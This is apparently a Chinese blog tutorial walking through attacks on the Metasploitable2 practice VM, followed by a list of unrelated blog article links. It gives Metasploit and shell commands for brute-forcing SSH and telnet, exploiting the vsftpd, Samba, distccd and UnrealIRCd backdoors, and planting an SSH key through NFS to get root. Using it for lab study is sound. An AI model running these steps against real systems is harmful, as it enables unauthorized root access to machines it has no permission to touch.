Metasploittable2打靶教程

本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。

一、环境准备

1.把靶场放在vmware打开,启用nat模式:

2.启用kali

二、信息收集

3.确认目标:

使用nmap扫描该局域网,确认目标开放端口服务信息。

sudo nmap -sS 192.168.1.0/24

这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。

4.确认操作系统

sudo nmap -O 192.168.1.0/24

也可以和之前的命令一起用

例:sudo nmap -sS -O 192.168.1.0/24

实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130

更详细服务信息,以便收集已公开漏洞

sudo nmap -sS 192.168.1.130

漏洞清单:

从顺序来吧

21(ftp)

vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件

可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。

匿名访问:

1.启用msf

msfconsole

2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞

search vsftpd

3.使用

use 0

显示payloads

 show payloads

只有一个就自动选择

也可手动定义payload

4.查看配置

show options

5.设置目标

set rhost 192.168.80.130

6.运行

run 或者exploit

直接root权限

22(ssh)

Search  ssh_login       搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.1.130 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

爆破成功msfadmin:msfadmin

23(telnet)

search telnet_login
use 1
Set RHOST 192.168.1.134 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

80(php-cgi)

先访问该该网站是什么站:

  • Mutillidae 和 DVWA这两个练习平台就不说了

  • 扫描目录发现漏洞点

    • 2012年的漏洞

      server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入

    • phpinfo.php ===>php-cgi

    • phpadmin

search php-cgi
use 0
set rhost 192.168.1.130
run

111(RPC)

auxiliary/scanner/misc/sunrpc_portmapper

只能拿来ddos

139,445(smba)

1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。

 smbclient -L //192.168.1.130

use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.130
set SMBSHARE tmp
run

smbclient //192.168.1.130/tmp

SambaMS-RPC Shell 命令注入漏洞

search samba
use exploit/multi/samba/usermap_script
set rhost xxxx
run

512.513.514 (r)

TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问

sudo apt-get install rsh-client
rlogin -l root 192.168.1.130

1099(java_rmi)

原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致

use exploit/multi/misc/java_rmi_server

1524(ingreslock):

1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务

利用telnet命令连接目标主机的1524端口,直接获取root权限。

Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。

ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:

2049(NFS)

NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。

复现环境:Kali2017、Metasploit2

复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机

1.kali下连接靶机的NFS服务

sudo apt-get install nfs-common
showmount -e 192.168.1.130
mkdir /tmp/192.168.1.130
sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
cd /tmp/192.168.1.130/
ls -la

2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机

ssh-keygen
cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys
ssh root@192.168.1.130

不过这里遇到点小坑

解决办法:链接

 ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130

3306(mysql)

mysql空密码:

使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root

3632(distccd)

除了上一节中的恶意后门,一些服务本质上几乎就是后门。

search distccd
use 0
set rhost 192.168.1.130

这里如果我们用默认的payload会no session,这里切换下payload

show payloads
set payload cmd/unix/reverse_ruby

5432(postgresql)

1.爆破:

auxiliary/scanner/postgres/postgres_login

postgresql 密码:postgres

2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码

这是nmap的指纹

也可以通过msf的模块:canner/postgres/postgres_version

后渗透利用推荐

5900(vnc)

vnc 密码: password

6667(IRC)

根据nmap指纹信息
search UnrealIRCd
use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.130
run

一把梭失败,检查错误:发现pay失败,切换payload。

查看可用payload

show payloads

8180(tomact)

暴力破解账号密码:tomcat;tomcat

最新文章

  1. CEF3开发者系列之JS与C++交互之一
  2. 登录到mysql查看binlog日志
  3. Oracle重做日志文件
  4. 微软BI 之SSIS 系列 - 2008 版本中变量 Int64 无法保存 bigint 类型数据的BUG
  5. ie浏览器兼容性快速处理小招
  6. 关于 RecastNavigation 寻路结果异常的问题。
  7. html简单定位
  8. DRP分销系统总结
  9. 深入浅出数据结构C语言版(2)——简要讨论算法的时间复杂度
  10. yii2-swiftmailer入门
  11. WebApi实现验证授权Token,WebApi生成文档等
  12. beego 初体验 - 上传文件
  13. hbase_存储模型
  14. linux文件或目录权限修改后如何恢复(备份了权限就能恢复)
  15. 训练的时候 nvidia:自动刷新
  16. IDEA中在目录中如何快速指定到当前的类
  17. Xcode使用小技巧-filter查找功能和查看最近修改的文件
  18. String学习之-深入解析String#intern
  19. Java的工厂模式(二)
  20. 集合之hascode方法

热门文章

  1. C# Panel动态添加滚动条
  2. python实现AES加密解密
  3. WeetCode3 暴力递归->记忆化搜索->动态规划
  4. IOS移动端 -webkit-overflow-scrollin属性造成的问题
  5. .net core 中 WebApiClientCore的使用
  6. 记一次 .NET 某工控MES程序 崩溃分析
  7. JavaScript:对象:如何去遍历输出一个对象的属性?语句for-in
  8. 1+x初级Web的关键词填写
  9. Jekyll + GitHub Pages + Vercel纯免费搭建独立博客
  10. 计算1+2!+3!+...+n!的和